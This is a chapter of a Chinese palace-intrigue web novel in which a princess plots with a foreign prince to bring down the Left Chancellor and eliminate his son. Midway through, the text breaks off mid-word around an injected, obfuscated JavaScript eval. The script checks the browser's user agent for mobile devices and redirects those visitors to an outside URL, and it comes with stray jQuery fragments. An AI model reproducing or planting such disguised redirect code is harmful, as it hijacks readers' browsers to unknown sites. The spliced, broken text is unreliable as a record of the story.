4. 第 4 章

作品:《公主篡位时兼职训狗

    秋猎结束了,与其说是结束,不如说是被迫终止。


    他国皇子被刺杀这件事不小,无论如何不能放下不管,于是拉起营帐、侍从围护着回宫。


    马车里,高秋堂借着烛光看信。


    她深居于宫,平日里的活动少之又少,信笺这些是为数不多可以与外祖家交换信息的方式。


    信上说左相贪污数万两黄金,皇帝下发政策左相执行时各种投机取巧,看着那么多亏空,高秋堂忍不住皱起眉。


    左相年迈,那些家业最终给了谁,叫谁受益简直明显。


    朝堂中的蛀虫……


    “公主……”伏在一旁案上的青玉开口问道:“您把左相拉下之后,下一个是谁呀?”


    青玉眨了眨眼,象征性的想了一下,然后食指在空气中画了两个圈:“我不喜欢李翰林。”


    青玉素来不会厌掩饰自己的情绪,她又敢爱敢恨,之前一些小事她能记很久。


    高秋堂摸了摸她的头,安抚道:“若真拉下尚书,必定任你处置。”


    “当真!”青玉立马直起身子,眼里藏不住喜悦。


    “当真。”


    高秋堂放下信纸,她不能总在宫里呆着,书信到底需要时间,而朝堂上形势瞬息万变。


    她不能把希望全给别人。


    高秋堂想着,便也在心里慢慢拟订一个计划。


    “笃笃笃”


    马车的小窗被人敲响,赵赐安压低声音道:“公主。”


    高秋堂往窗边靠了靠,却没挑帘,低声道:“如何?”


    赵赐安驾着马跟着马车徐徐而行,悄声说:“我方才听见左相骂声,夹杂着我的名字。”


    高秋堂黛眉微蹙,她也不是不知道左相在骂什么。


    左相年老,在这官海臣服半辈子,借着这次秋猎吃了块大肉,还没咽下就叫赵赐安踹了出来,自己还罚了俸禄。


    只是搞不懂为何此事还值得赵赐安特地过来说一次。


    赵赐安道:“我从小到大可没人这么说我,公主您可得帮我教训他。”


    高秋堂点头,转而又感觉赵赐安太放肆了,分明初遇时还是胆怯的样子,却不知从何时变成这般放纵。


    不过这样也好,怯懦者难成大事,这般洒脱也方便,各类各型都吃得下去。


    赵赐安又接着说:“我自会尽心尽力帮公主办事,但公主是不是该赏我些彩头,这才让我想干下去啊。”


    高秋堂不愿再过多纠缠,随口夸了句:“厉害”就没再听。


    **


    次日,高秋堂遣散侍女后坐在院内看桂花。


    她随手捡了枝花乱舞,循着记忆里先皇后的样子舞剑似的舞花枝。


    她外祖是镇国大将军,舅舅在西北捍卫边疆,母亲也是将门之女,从小便教她剑术。


    只是母亲走的太早,没见她长大。


    也亏母亲走的太早,没看见皇帝昏庸,百姓涂炭。


    高秋堂眸色一沉,手握花枝用力轻扫,地上大片落花飞起,轻轻飘落。


    丝绸落在地上,又被风悄悄吹起,秋日属实有些凉。


    “公主!”青玉小跑进院,手腕上的小铃铛发出清脆响声:“我回来了!”


    高秋堂扔下桂花枝,温声道:“这么着急,怎么了?”


    青玉跑到她身旁,四下看了几眼,压低声音道:“还有方才皇帝召人去御书房,大吵了一顿,左相被罚了三月奉禄。”


    高秋堂甚至能想象出来左相一脸苦色的样子,不由得笑出声。她说:“也算是让他长个教训,接下来便要开始接下来的动作了。”


    青玉笑说:“嗯,公主聪慧伶俐,那老头怎是公主的对手!”


    她动作夸张的轻锤高秋堂的肩膀,颇有一副奸佞样子:“只求公主莫要忘记陪你这么些年的糟糠婢子,给我一个好去处……”


    高秋堂忍不住轻点了一下她的鼻头,溺爱道:“到时把李翰林送你可好?”


    青玉撇嘴,刚要反驳,身后就传来人声:“为何将我送人?!”


    来者一身官袍,眉宇间藏着分稚气,先进了院子才想起行礼:“公主殿下。”


    “李翰林何故来此?”高秋堂轻点头,问道。


    李修远一把拉过身后人,嬉笑道:“许久未曾见过公主,今日碰巧进宫,顺道替小妹传个信。明日小妹在明月楼中摆宴,邀公主赏花赴宴。”


    李修远是国师之孙,官拜六品翰林,与其妹自小与皇家一同听学,其妹李修仪更是高秋堂的闺中密友。


    高秋堂颔首:“我清楚了。”


    她目光落到李修远身后的人,顺嘴提了一句:“皇子何故来此?”


    赵赐安噙着笑,看了眼李修远道:“我与李兄初遇,相谈甚欢,相见恨晚,听闻他要来拜见公主,我便跟来了。”


    “你二人认识?”李修远皱眉看向赵赐安。


    “先前秋猎,与公主有些缘分。”赵赐安道。


    李修远素来不在意这些,倒像是被惯坏了般,又提起先前话题:“公主还没说,为何将我送人?我又不是物什,怎能送来送去?”


    高秋堂看了眼青玉,小姑娘脸红成墙头柿子,躲在她背后一言不发。


    她便也直接解了围:“非是送人,只是方才说那游园里的林,和青玉商讨着能否送来作远景,你怎的听成翰林?”


    李修远倒也不计较,闻言点头应是,这才注意到身后青玉,笑眯眯的逗她:“青玉,你怎的不问我好?”


    青玉拉了一下高秋堂的衣角,怯声道:“我去御膳房给公主拿些吃食我先走了……”


    她垂着头绕过李修远迅速跑开,李修远不解道:“她怎么了?”


    “你去问吧。”


    李修远点点头,也不顾赵赐安了,转身去追青玉。


    院内只剩她和赵赐安。


    高秋堂道:“皇子有事说?”


    赵赐安摸了一下自己的耳朵,低声道:“公主叫我与京中公子打好关系,我昨日倒是了解了些许,想着来跟公主商量一下,便跟着李兄来了。”


    他能如此认真高秋堂也没想到,侧身让出座位:“请。”


    赵赐安坐上矮凳,认真道:“公主可有接下来的计划?”


    “目标于左相。”高秋堂道:“先前因为秋猎之事左相被罚了俸禄,我的手里倒有些贪污证据。左相之子也并非善类,你大可引导一番,若能逼他爆出些污点那便最好,若不能……”


    高秋堂食指轻微卷曲叩桌,冷声说:“绉些理由,杀掉。”


    赵赐安眼睫轻颤,打趣道:“公主做的这般绝情,他做什么了吗?”


    “没有。”左相之子是一个实打实的纨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929556|192757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    绔,但也不至于不长眼冒犯公主。高秋堂道:“左相先前为他铺路,等下次殿试结束便可入朝,官拜六品,算是个障碍。”


    赵赐安点头:“明白了。李兄方才也邀我赴宴,那明月楼想必就是前两日瞿公子所言的情报中心了吧。”


    “对。”高秋堂看了他一眼:“你做事仔细些,不要留些把柄。”


    风忽然大了,满树桂花簌簌而落,金黄色的小花落在高秋堂发间,衬得她更加明艳。


    高秋堂指尖绕发曲到而后,显得人冷。


    非于高山冷血,更像是冷泉长流,不夹杂任何杂质,清透,微凉。


    赵赐安呆愣愣的道声“好。”


    高秋堂捻起桂花,指尖摩挲,道:“此次必然要将左相拉下马,你做事利落些。”


    赵赐安点头,忽而起了些玩笑意味:“可有些什么奖励?”


    高秋堂冷淡看他:“你不是说要为你教训左相?”


    此话本是无意之言,只是随口扯了个由头,赵赐安却愣住了,不知道想了些什么,紧紧巴巴的说:“好……公主……”


    他脸上红晕愈深,站起身子口不择言:“我要出宫,出宫了。公主明日宴上见!”


    高秋堂看他浑身僵硬甚至于同手同脚离开,不由得想笑。


    等赵赐安彻底走出宫门,她也给自己倒了杯茶,细细盘算着接下来的计划。


    左相下场之后怎样,后续殿试又怎样。这些都是她要去考虑的。


    高秋堂“啧”了一声,转身进殿。


    **


    李修仪在明月楼办的宴会,国师孙女不差钱,还特地移了几棵桂花树在楼后,坐在亭台之中颇有闲情逸致。


    高秋堂从轿子上下来,橙黄色襦裙和桂花辉映,人比花俏。


    李修仪忙赶上前,先委身做了个礼,然后挽过高秋堂的胳膊:“秋堂跟我来吧。”


    李修仪长相貌美,家世显赫,再加上为人心善,在京城内人缘都是极好的,因此她做东,京城里各家高门大户的小姐都愿意来参加。


    高秋堂坐到自己的位子,左侧是李修仪,右侧是母族那边的一个堂妹,见她忙行礼问好:“公主。”


    高秋堂摆摆手让她不必多礼,抬眼扫过宴厅,少爷小姐分着界限,小姐这边一片欣然,赏花讨聊倒是兴致高时。少爷那块儿也聊的热火朝天。


    高秋堂看过去,赵赐安在人群中聊的开怀,不知何时倒是和那些人如此投缘。


    赵赐安忽而侧目,与她对上视线,先是移开,片刻后又光明正大的与她对视,咧嘴笑着。


    他身着仍是红衣,笑了倒是更加明亮,比那些少爷公子什么的倒是俊了不少。


    高秋堂移目回神,问李修仪:“何时开宴?”


    “再等一会儿。”李修仪满脸无奈:“你也知道左相家那位公子,若是不等,临了必是要找些口舌之斗,饶了我吧……”


    高秋堂点头,侧目看桂花。


    此时桂花开的正艳,香气弥漫着宴厅,让人心旷神怡,糕点也多吃半块。


    不知过了多久,门口小斯喊:“左相之子,刘承熙到——”


    毕竟是私宴,如此大声道喝,喧宾夺主,高秋堂皱起眉,越发烦躁。


    今日必须……


    高秋堂看了眼赵赐安,和他对上目光后又移开视线。